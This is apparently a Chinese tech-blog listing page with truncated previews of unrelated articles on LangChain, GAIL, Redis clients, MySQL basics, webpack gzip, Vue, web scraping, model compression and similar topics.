基于Langchain构建本地大型语言模型&#xff08;LLM&#xff09;问答系统的经验分享 https://download.csdn.net/download/xziyuan/89334371?spm1001.2101.3001.9500 最近&#xff0c;我一直在探索如何利用Langchain来构建一个本地的大型语言模型问答系统。在这个过程中&…...

对抗式生成模仿学习(GAIL)

目录 1 预先基础知识 1.1 对抗生成网络&#xff08;GAN&#xff09; 1.1.1 基本概念 1.1.2 损失函数 1.1.2.1 固定G&#xff0c;求解令损失函数最大的D 1.1.2.2 固定D&#xff0c;求解令损失函数最小的G 1.2 对抗式生成模仿学习特点 2 对抗式生成模仿学习&#xff08;…...

信息系统项目管理师 | 新一代信息技术

关注WX&#xff1a;CodingTechWork 物联网 定义 The Internet of Things是指通过信息传感设备&#xff0c;按约定的协议&#xff0c;将任何物品与互联网连接&#xff0c;进行信息交互和通信&#xff0c;以实现智能化识别。定位、跟踪、监控和管理的一种网络。物联网主要解决…...

安全宣传咨询日活动向媒体投稿记住这个投稿好方法

在信息爆炸的时代,作为单位的信息宣传员,我肩负着将每一次重要活动,特别是像“安全宣传咨询日”这样的公益活动,有效传达给公众的重任。这份工作看似简单,实则充满了挑战,尤其是在我初涉此领域时,那段曲折而又难忘的投稿经历,至今记忆犹新。 初探投稿之海,遭遇重重困难 起初,我…...

第7章:系统架构设计基础知识-软件架构风格

由于历史原因&#xff0c;研究者和工程人员对Sofiware Architecture(简称SA)的翻译不尽相同&#xff0c;其软件的“体系结构”和“架构”具有相同的含义。 系统架构其实就是系统的结构&#xff0c;系统架构设计其实就是要给相关利益方说清楚通过什么样的结构来解决需求中功能和…...

自制调色小工具给图片加滤镜,修改图片红、绿、蓝通道及亮度,修改图片颜色

上篇&#xff1a; 上篇我们给地图添加了锐化、模糊等滤镜&#xff0c;这篇来写一个小工具给图片调色。 调色比锐化等滤镜要简单许多&#xff0c;直接拿到像素值修改即可。不需要用到卷积核。。。(*^▽^*) 核心原理就是图像结构&#xff0c;使用context.getImageData获取图像像…...

【Redis】java客户端(SpringData和jedis)

https://www.oz6.cn/articles/58 https://www.bilibili.com/video/BV1cr4y1671t/?p16 redis官网客户端介绍&#xff1a;https://redis.io/docs/latest/develop/connect/clients/ jedis maven引入依赖 <dependencies><!--引入Jedis依赖--><dependency><…...

大数据安全经典面试题及回答(上)

目录 一、大数据安全的主要挑战及应对策略 二、大数据安全中的“五个V”及其影响 三、在Hadoop集群中实施数据加密的步骤和注意事项 四、在大数据环境中实施访问控制和身份认证 五、大数据环境中数据备份和恢复的策略 六、大数据处理过程中保护用户隐私的策略 七、大数据…...

vi/vim使用命令

你是否在编辑文件时以为键盘坏了&#xff0c;为什么不能删除呢&#xff0c;为什么不能敲代码呢&#xff0c;当你初识vi&#xff0c;会觉得这个东西设计很难用&#xff0c;这篇教程带你熟练得用上这款经典的工具&#xff0c;当你熟练了这款工具就会真正体会到高效率打码 Vi 是在…...

webpack打包gz文件,nginx开启gzip压缩

wepback配置 webpack4配合"compression-webpack-plugin": "^6.1.2"打包压缩gz chain.plugin("compression").use(new CompressionPlugin({test: /\.js$|\.html$|\.css$/,threshold: 10240, // 超过10KB的压缩deleteOriginalAssets: false,// 保…...

微服务开发与实战Day11 - 微服务面试篇

一、分布式事务 1. CAP定理 1998年&#xff0c;加州大学的计算机科学及Eric Brewer提出&#xff0c;分布式系统有三个指标&#xff1a; Consistency&#xff08;一致性&#xff09;Availability&#xff08;可用性&#xff09;Partition tolerance&#xff08;分区容错性&am…...

基于Spring Boot+VUE职称评审管理系统

1管理员功能模块 管理员登录&#xff0c;通过填写注册时输入的用户名、密码、角色进行登录&#xff0c;如图1所示。 图1管理员登录界面图 管理员登录进入职称评审管理系统可以查看首页、个人中心、用户管理、评审员管理、省份管理、评审条件管理、职称申请管理、结果公布管理、…...

MySQL 基本语法讲解及示例(上)

第一节&#xff1a;MySQL的基本操作 1. 创建数据库 在 MySQL 中&#xff0c;创建数据库的步骤如下&#xff1a; 命令行操作 打开 MySQL 命令行客户端或连接到 MySQL 服务器。 输入以下命令创建一个数据库&#xff1a; CREATE DATABASE database_name;例如&#xff0c;创建一…...

6.18作业

完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后&#xff0c;关闭登录界面&#xff0c;跳转到其他界面 如果账号和密码不匹配&#xff…...

Excel文件转换为HTML文件

文章目录 前言安装python包python代码 前言 将一个Excel文件转换为HTML文件 安装python包 使用pandas和openpyxl库来实现这个功能 pip install pandas openpyxlpython代码 1、首先使用tkinter库中的filedialog模块弹出一个对话框来选择要转换的Excel文件 2、使用pandas库…...

MySQL数据库入门

1、MySQL概述 MySQL官方网站 https://www.mysql.com/downloads/ MySQL被Oracle公司收购了&#xff0c;作者又重新编写了一个开源的数据库管理系统&#xff0c;Mariadb 2、MySQL产品&版本 2、数据库在网站架构中的角色 LAMP LNMP网站架构 3、安装MySQL-基于yum 查…...

vue element-ui 下拉框 以及 input 限制输入,小数点后保留两位 界面设计案例 和 例子:支持mp4和m3u8视频播放

vue input 限制输入&#xff0c;小数点后保留两位 以及 图片垂直居中显示 和 分享 git 小技巧-CSDN博客文章浏览阅读430次&#xff0c;点赞5次&#xff0c;收藏4次。error:Your local changes to the following files would be overwritten by merge:_error: your local change…...

Python基础用法 之 运算符

1.算数运算符 符号作用说明举例加与“”相同 - 减与“-”相同*乘 与“ ”相同 9*218/除 与“ ”相同 9/24.5 、6/32.0//求商&#xff08;整数部分&#xff09; 两个数据做除法的 商 9//24%取余&#xff08;余数部分&#xff09; 是两个数据做除法的 余数 9%21**幂、次方2**…...

家政维修平台实战20:权限设计

目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系&#xff0c;主要是分成几个表&#xff0c;用户表我们是记录用户的基础信息&#xff0c;包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题&#xff0c;不同的角色&#xf…...

工程地质软件市场:发展现状、趋势与策略建议

一、引言 在工程建设领域&#xff0c;准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具&#xff0c;正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...

让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比

在机器学习的回归分析中&#xff0c;损失函数的选择对模型性能具有决定性影响。均方误差&#xff08;MSE&#xff09;作为经典的损失函数&#xff0c;在处理干净数据时表现优异&#xff0c;但在面对包含异常值的噪声数据时&#xff0c;其对大误差的二次惩罚机制往往导致模型参数…...

IP如何挑?2025年海外专线IP如何购买?

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...

Java数值运算常见陷阱与规避方法

整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...

LangFlow技术架构分析

&#x1f527; LangFlow 的可视化技术栈 前端节点编辑器 底层框架&#xff1a;基于 &#xff08;一个现代化的 React 节点绘图库&#xff09; 功能&#xff1a; 拖拽式构建 LangGraph 状态机 实时连线定义节点依赖关系 可视化调试循环和分支逻辑 与 LangGraph 的深…...

深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏

一、引言 在深度学习中&#xff0c;我们训练出的神经网络往往非常庞大&#xff08;比如像 ResNet、YOLOv8、Vision Transformer&#xff09;&#xff0c;虽然精度很高&#xff0c;但“太重”了&#xff0c;运行起来很慢&#xff0c;占用内存大&#xff0c;不适合部署到手机、摄…...

在 Visual Studio Code 中使用驭码 CodeRider 提升开发效率:以冒泡排序为例

目录 前言1 插件安装与配置1.1 安装驭码 CodeRider1.2 初始配置建议 2 示例代码&#xff1a;冒泡排序3 驭码 CodeRider 功能详解3.1 功能概览3.2 代码解释功能3.3 自动注释生成3.4 逻辑修改功能3.5 单元测试自动生成3.6 代码优化建议 4 驭码的实际应用建议5 常见问题与解决建议…...